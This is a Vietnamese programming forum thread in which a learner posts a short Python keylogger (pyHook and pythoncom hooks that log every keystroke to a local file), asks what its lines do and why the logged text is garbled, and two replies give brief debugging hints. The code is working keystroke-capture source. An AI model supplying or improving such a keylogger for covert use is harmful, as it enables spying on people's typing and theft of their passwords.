01/10/2018, 16:50

Hỏi về keylogger

Em đang tìm hiều cách viết một con keylogger bằng python,sau đây là đoạn code mà em tham khảo được,dù đã tìm hiểu trên Google nhưng em vẫn chưa thực sự hiểu được code của con keylogger này, những chỗ ko hiểu em có đánh dấu “#” ở cuối dòng. Em mong mọi người có thể giải thích giúp em với ạ:

import pyHook, pythoncom, sys, logging

file_log='C:\message.txt'

def onKeyboardEvent(event):
   logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')#
   chr(event.Ascii)#
   logging.log(10,chr(event.Ascii))#
   return True

hooks_manager=pyHook.HookManager()#

hooks_manager.KeyDown=onKeyboardEvent#

hooks_manager.HookKeyboard()#

pythoncom.PumpMessages()#

Em vẫn cứ thắc mắc ko hiểu sao ví dụ như mình viết"LovePython" thì nó chỉ biểu hiện lên dòng chữ rất khó hiểu. Cho em hỏi nguyên nhân là gì và làm thế nào để giải quyết ạ?

Thân Hoàng viết 18:54 ngày 01/10/2018

bạn đăng dòng chữ khó hiểu đấy lên xem nào

Nguyen The Son viết 18:57 ngày 01/10/2018

Đây ạ:

Kamui Ka viết 19:04 ngày 01/10/2018

Cái này có vẻ nếu muốn hiểu được code thì bạn phải tìm hiểu các module được import trước. Ở đây có 2 module cần quan tâm là pyHookpythoncom, bạn cần tìm hiểu 2 cái này trước.
Theo như code trên thì mình tạm đoán là nó sẽ xử lý sự kiện nhấn phím bằng hàm onKeyboardEvent và ghi ra file log message.txt. Cái mà bạn gọi là dòng chữ khó hiểu là do cái logging.log(10, chr(event.Ascii)) nhé.

Bài liên quan
0